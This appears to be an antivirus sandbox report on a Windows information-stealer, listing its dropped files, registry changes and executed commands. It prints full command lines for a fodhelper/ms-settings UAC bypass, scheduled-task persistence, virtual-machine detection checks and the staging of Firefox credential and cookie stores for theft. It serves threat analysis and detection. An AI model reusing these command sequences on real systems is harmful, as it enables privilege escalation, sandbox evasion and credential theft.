Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Classes\ms-settings\Shell\Open\command] '' = 'schtasks /create /tn WindowsActionCenterProvider /tr %LOCALAPPDATA%\Microsoft\Windows\ActionCenter\SecurityAgent.exe /sc onlogon /f ...
Creates or modifies the following files
- <SYSTEM32>\tasks\windowsactioncenterprovider
Malicious functions
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\_v_918578\cache.db
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\_v_918578\runtime.exe
- %TEMP%\ms_core_3076\api-ms-win-core-_primn.node
- %TEMP%\ms_core_3076\api-ms-win-core-sqlite.node
- %TEMP%\ms_core_3076\api-ms-win-core-koffi_.node
- %TEMP%\system_check_1771999526871.vbs
- %LOCALAPPDATA%\microsoft\windows\actioncenter\securityagent.exe
- nul
- %LOCALAPPDATA%\microsoft\windows\actioncenter\.initialized
- %TEMP%\ms_core_3076\api-ms-win-core-ghost_.dll
- %LOCALAPPDATA%\win-service\output\tmp_qi0gk.db
- %LOCALAPPDATA%\win-service\output\tmp_mnqzv.db
- %LOCALAPPDATA%\win-service\output\tmp_r8ig7.db
- %LOCALAPPDATA%\win-service\output\tmp_5qap7.db
- %LOCALAPPDATA%\win-service\output\tmp_l4z51.db
- %LOCALAPPDATA%\win-service\output\tmp_g55k8.db
- %LOCALAPPDATA%\win-service\output\tmp_9rf77.db
- %LOCALAPPDATA%\win-service\output\browser_data\microsoft_edge\default\top_sites.txt
- %TEMP%\nss_9f241caa\addons.json
- %TEMP%\nss_9f241caa\addonstartup.json.lz4
- %TEMP%\nss_9f241caa\broadcast-listeners.json
- %TEMP%\nss_9f241caa\cert9.db
- %TEMP%\nss_9f241caa\compatibility.ini
- %TEMP%\nss_9f241caa\containers.json
- %TEMP%\nss_9f241caa\content-prefs.sqlite
- %TEMP%\nss_9f241caa\cookies.sqlite
- %TEMP%\nss_9f241caa\cookies.sqlite-shm
- %TEMP%\nss_9f241caa\extension-preferences.json
- %TEMP%\nss_9f241caa\extensions.json
- %TEMP%\nss_9f241caa\favicons.sqlite
- %TEMP%\nss_9f241caa\favicons.sqlite-shm
- %TEMP%\nss_9f241caa\formhistory.sqlite
- %TEMP%\nss_9f241caa\handlers.json
- %TEMP%\nss_9f241caa\key4.db
- %TEMP%\nss_9f241caa\permissions.sqlite
- %TEMP%\nss_9f241caa\pkcs11.txt
- %TEMP%\nss_9f241caa\places.sqlite
- %TEMP%\nss_9f241caa\places.sqlite-shm
- %TEMP%\nss_9f241caa\prefs.js
- %TEMP%\nss_9f241caa\search.json.mozlz4
- %TEMP%\nss_9f241caa\sessioncheckpoints.json
- %TEMP%\nss_9f241caa\shield-preference-experiments.json
- %TEMP%\nss_9f241caa\sitesecurityservicestate.txt
- %TEMP%\nss_9f241caa\storage.sqlite
- %TEMP%\nss_9f241caa\times.json
- %TEMP%\nss_9f241caa\user.js
- %TEMP%\nss_9f241caa\webappsstore.sqlite
- %TEMP%\nss_9f241caa\webappsstore.sqlite-shm
- %TEMP%\nss_9f241caa\xulstore.json
- %TEMP%\nss_9f241caa\accessiblehandler.dll
- %TEMP%\nss_9f241caa\accessiblemarshal.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\nss_9f241caa\d3dcompiler_47.dll
- %TEMP%\nss_9f241caa\freebl3.dll
- %TEMP%\nss_9f241caa\ia2marshal.dll
- %TEMP%\nss_9f241caa\lgpllibs.dll
- %TEMP%\nss_9f241caa\libegl.dll
- %TEMP%\nss_9f241caa\libglesv2.dll
- %TEMP%\nss_9f241caa\mozavcodec.dll
- %TEMP%\nss_9f241caa\mozavutil.dll
- %TEMP%\nss_9f241caa\mozglue.dll
- %TEMP%\nss_9f241caa\mozwer.dll
- %TEMP%\nss_9f241caa\msvcp140.dll
- %TEMP%\nss_9f241caa\nss3.dll
- %TEMP%\nss_9f241caa\nssckbi.dll
- %TEMP%\nss_9f241caa\osclientcerts.dll
- %TEMP%\nss_9f241caa\qipcap64.dll
- %TEMP%\nss_9f241caa\softokn3.dll
- %TEMP%\nss_9f241caa\ucrtbase.dll
- %TEMP%\nss_9f241caa\vcruntime140.dll
- %TEMP%\nss_9f241caa\xul.dll
- %LOCALAPPDATA%\win-service\output\tmp_fovkd.db
- %LOCALAPPDATA%\win-service\output\tmp_fovkd.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_aa1e6.db
- %LOCALAPPDATA%\win-service\output\tmp_aa1e6.db-shm
- %LOCALAPPDATA%\win-service\output\browser_data\firefox\dnyauhh1_default_release\history.txt
- %LOCALAPPDATA%\win-service\output\tmp_ftawu.db
- %LOCALAPPDATA%\win-service\output\tmp_ftawu.db-shm
- %LOCALAPPDATA%\win-service\output\browser_data\firefox\dnyauhh1_default_release\bookmarks.txt
- %LOCALAPPDATA%\win-service\output\tmp_vdy59.db
- %LOCALAPPDATA%\win-service\output\tmp_vdy59.db-shm
- %LOCALAPPDATA%\win-service\output\browser_data\firefox\dnyauhh1_default_release\top_sites.txt
- %LOCALAPPDATA%\win-service\output\tmp_soa56.db
- %LOCALAPPDATA%\win-service\output\tmp_soa56.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_cpcus.db
- %LOCALAPPDATA%\win-service\output\system-info.txt
- %LOCALAPPDATA%\win-service\wuec1eeh5y9.zip
Deletes following files that it created itself
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\_v_918578\cache.db
- %LOCALAPPDATA%\win-service\output\tmp_qi0gk.db
- %LOCALAPPDATA%\win-service\output\tmp_mnqzv.db
- %LOCALAPPDATA%\win-service\output\tmp_r8ig7.db
- %LOCALAPPDATA%\win-service\output\tmp_5qap7.db
- %LOCALAPPDATA%\win-service\output\tmp_l4z51.db
- %LOCALAPPDATA%\win-service\output\tmp_g55k8.db
- %LOCALAPPDATA%\win-service\output\tmp_9rf77.db
- %LOCALAPPDATA%\win-service\output\tmp_fovkd.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_fovkd.db
- %LOCALAPPDATA%\win-service\output\tmp_aa1e6.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_aa1e6.db
- %LOCALAPPDATA%\win-service\output\tmp_ftawu.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_ftawu.db
- %LOCALAPPDATA%\win-service\output\tmp_vdy59.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_vdy59.db
- %LOCALAPPDATA%\win-service\output\tmp_soa56.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_soa56.db
- %TEMP%\nss_9f241caa\accessiblehandler.dll
- %TEMP%\nss_9f241caa\accessiblemarshal.dll
- %TEMP%\nss_9f241caa\addons.json
- %TEMP%\nss_9f241caa\addonstartup.json.lz4
- %TEMP%\nss_9f241caa\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\nss_9f241caa\broadcast-listeners.json
- %TEMP%\nss_9f241caa\cert9.db
- %TEMP%\nss_9f241caa\compatibility.ini
- %TEMP%\nss_9f241caa\containers.json
- %TEMP%\nss_9f241caa\content-prefs.sqlite
- %TEMP%\nss_9f241caa\cookies.sqlite
- %TEMP%\nss_9f241caa\cookies.sqlite-shm
- %TEMP%\nss_9f241caa\d3dcompiler_47.dll
- %TEMP%\nss_9f241caa\extension-preferences.json
- %TEMP%\nss_9f241caa\extensions.json
- %TEMP%\nss_9f241caa\favicons.sqlite
- %TEMP%\nss_9f241caa\favicons.sqlite-shm
- %TEMP%\nss_9f241caa\formhistory.sqlite
- %TEMP%\nss_9f241caa\freebl3.dll
- %TEMP%\nss_9f241caa\handlers.json
- %TEMP%\nss_9f241caa\ia2marshal.dll
- %TEMP%\nss_9f241caa\key4.db
- %TEMP%\nss_9f241caa\lgpllibs.dll
- %TEMP%\nss_9f241caa\libegl.dll
- %TEMP%\nss_9f241caa\libglesv2.dll
- %TEMP%\nss_9f241caa\mozavcodec.dll
- %TEMP%\nss_9f241caa\mozavutil.dll
- %TEMP%\nss_9f241caa\mozglue.dll
- %TEMP%\nss_9f241caa\mozwer.dll
- %TEMP%\nss_9f241caa\msvcp140.dll
- %TEMP%\nss_9f241caa\nss3.dll
- %TEMP%\nss_9f241caa\nssckbi.dll
- %TEMP%\nss_9f241caa\osclientcerts.dll
- %TEMP%\nss_9f241caa\permissions.sqlite
- %TEMP%\nss_9f241caa\pkcs11.txt
- %TEMP%\nss_9f241caa\places.sqlite
- %TEMP%\nss_9f241caa\places.sqlite-shm
- %TEMP%\nss_9f241caa\prefs.js
- %TEMP%\nss_9f241caa\qipcap64.dll
- %TEMP%\nss_9f241caa\search.json.mozlz4
- %TEMP%\nss_9f241caa\sessioncheckpoints.json
- %TEMP%\nss_9f241caa\shield-preference-experiments.json
- %TEMP%\nss_9f241caa\sitesecurityservicestate.txt
- %TEMP%\nss_9f241caa\softokn3.dll
- %TEMP%\nss_9f241caa\storage.sqlite
- %TEMP%\nss_9f241caa\times.json
- %TEMP%\nss_9f241caa\ucrtbase.dll
- %TEMP%\nss_9f241caa\user.js
- %TEMP%\nss_9f241caa\vcruntime140.dll
- %TEMP%\nss_9f241caa\webappsstore.sqlite
- %TEMP%\nss_9f241caa\webappsstore.sqlite-shm
- %TEMP%\nss_9f241caa\xul.dll
- %TEMP%\nss_9f241caa\xulstore.json
- %LOCALAPPDATA%\win-service\output\tmp_cpcus.db
Network activity
UDP
- DNS ASK ip##fo.io
- DNS ASK di##ord.com
Miscellaneous
Creates and executes the following
- '%LOCALAPPDATA%\microsoft\windows\<INETFILES>\_v_918578\runtime.exe'
- '<SYSTEM32>\wscript.exe' //nologo "%TEMP%\system_check_1771999526871.vbs"
Executes the following
- '<SYSTEM32>\cmd.exe' /d /s /c "getmac"
- '<SYSTEM32>\getmac.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist"
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-Type -AssemblyName System.windows.Forms; [System.windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.windows.Forms; [System.windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest""
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse""
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService""
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\VBoxService"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmci""
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\vmci"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs""
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters""
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
- '<SYSTEM32>\cmd.exe' /d /s /c "wscript //nologo "%TEMP%\system_check_1771999526871.vbs""
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "schtasks /create /tn "WindowsActionCenterProvider" /tr "%LOCALAPPDATA%\Microsoft\Windows\ActionCenter\...
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "schtasks /create /tn "WindowsActionCenterProvider" /tr "%LOCALAPPDATA%\Microsoft\Windows\ActionCenter\SecurityAgent....
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f"
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "fodhelper.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "ping 127.0.0.1 -n 4 >nul"
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 4
- '<SYSTEM32>\fodhelper.exe'
- '<SYSTEM32>\schtasks.exe' /create /tn WindowsActionCenterProvider /tr %LOCALAPPDATA%\Microsoft\Windows\ActionCenter\SecurityAgent.exe /sc onlogon /f /rl highest
- '<SYSTEM32>\cmd.exe' /d /s /c "reg delete "HKCU\Software\Classes\ms-settings" /f"
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Classes\ms-settings" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell "(Get-CimInstance Win32_ComputerSystemProduct).UUID""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell "(Get-CimInstance Win32_OperatingSystem).Caption""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "(Get-CimInstance Win32_OperatingSystem).Caption"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH"
- '<SYSTEM32>\tasklist.exe' /FO CSV /NH
- '<SYSTEM32>\cmd.exe' /d /s /c "getmac"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-Type -AssemblyName System.windows.Forms; [System.windows.Forms.Screen]::PrimaryScreen.Bounds.Width""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmci""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wscript //nologo "%TEMP%\system_check_1771999526871.vbs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "schtasks /create /tn "WindowsActionCenterProvider" /tr "%LOCALAPPDATA%\Microsoft\Windows\ActionCenter\...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "fodhelper.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "ping 127.0.0.1 -n 4 >nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg delete "HKCU\Software\Classes\ms-settings" /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell "(Get-CimInstance Win32_ComputerSystemProduct).UUID""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell "(Get-CimInstance Win32_OperatingSystem).Caption""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH"' (with hidden window)
